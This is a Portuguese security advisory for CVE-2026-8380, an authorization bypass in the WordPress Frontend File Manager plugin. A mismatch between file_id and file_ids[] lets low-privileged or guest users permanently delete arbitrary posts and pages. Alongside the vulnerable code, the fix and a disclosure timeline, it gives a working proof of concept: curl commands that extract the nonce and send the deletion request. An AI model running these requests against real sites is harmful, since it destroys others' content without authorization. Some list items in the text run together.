
CVE-2026-8380
Uma falha crítica de autorização foi identificada no plugin WordPress Frontend File Manager (nmedia-user-file-uploader) afetando as versões <= 23.6.
A vulnerabilidade permite que usuários autenticados com privilégios baixos excluam permanentemente posts, páginas, anexos e tipos de post personalizados arbitrários do WordPress devido a uma validação de autorização inadequada no endpoint de exclusão AJAX.
Quando a opção do plugin _allow_guest_upload=yes está habilitada, a vulnerabilidade torna-se explorável por atacantes não autenticados.
nmedia-user-file-uploader)O plugin contém uma vulnerabilidade crítica de bypass de autorização que permite a exclusão arbitrária de conteúdo WordPress devido a uma incompatibilidade de parâmetros na validação dentro da ação AJAX wpfm_delete_file.
A vulnerabilidade foi validada com sucesso em um ambiente de laboratório controlado com exploração ativa de Prova de Conceito.
Fraquezas de segurança adicionais também foram identificadas durante a pesquisa:
_allow_guest_upload desabilitando verificações de autorização em múltiplos endpointsREMOTE_ADDRPOST /wp-admin/admin-ajax.php?action=wpfm_delete_file
inc/files.php
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
? array_map('intval', $_POST['file_ids']) : [];
foreach ($file_ids as $file_id) {
$file = new WPFM_File($file_id);
wp_delete_post($file_id, $bypass_trash);
}
A verificação de autorização valida a propriedade usando o parâmetro singular:
$_POST['file_id']
No entanto, a operação real de exclusão itera sobre um parâmetro diferente:
$_POST['file_ids[]']
Devido a essa incompatibilidade, um atacante pode:
file_idfile_ids[]Não existe validação para garantir:
file_ids[]post_type permitidofile_id e file_ids[]Como resultado, conteúdo arbitrário do WordPress pode ser excluído permanentemente.
Um usuário autenticado com privilégios mínimos pode excluir permanentemente:
A exclusão é realizada com:
wp_delete_post($file_id, true);
Ou seja, o conteúdo é removido permanentemente sem recuperação pela Lixeira.
Se _allow_guest_upload=yes estiver habilitado:
192.168.1.1:8080wpfm_sub : Sub@Test123
Page ID: 60
Post ID: 61
O atacante visita uma página contendo o shortcode:
[ffmwp]
Extraia o nonce:
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce
Resposta:
value="9c233d4720"
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
--data 'action=wpfm_delete_file' \
--data 'wpfm_ajax_nonce=9c233d4720' \
--data 'file_id=57' \
--data 'file_ids[]=60' \
--data 'file_ids[]=61'
| Parâmetro | Descrição |
|---|---|
file_id=57 | Post do assinante usado para contornar a autorização |
file_ids[]=60 | Página do administrador vítima |
file_ids[]=61 | Post do administrador vítima |
{
"success": true,
"data": {
"message": "2 files, directories are removed inside SUB-OWNED"
}
}
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
404
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
404
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Valide a propriedade e o tipo de post para cada entrada em file_ids[].
Exemplo de implementação segura:
foreach ($file_ids as $fid) {
if ( ! wpfm_is_current_user_post_author($fid) ) {
wp_send_json_error(...);
}
if ( get_post_type($fid) !== 'wpfm-files' ) {
wp_send_json_error(...);
}
}
| Evento | Data |
|---|---|
| Vulnerabilidade Descoberta | 2026-05-28 |
| Fornecedor Contactado | 2026-05-28 |
| WPScan Publicado | 2026-06-04 |
| Divulgação Pública | 2026-06-18 |
Esta pesquisa foi realizada em um ambiente de laboratório controlado apenas para fins educacionais e de pesquisa em segurança.
Não teste sistemas sem a devida autorização.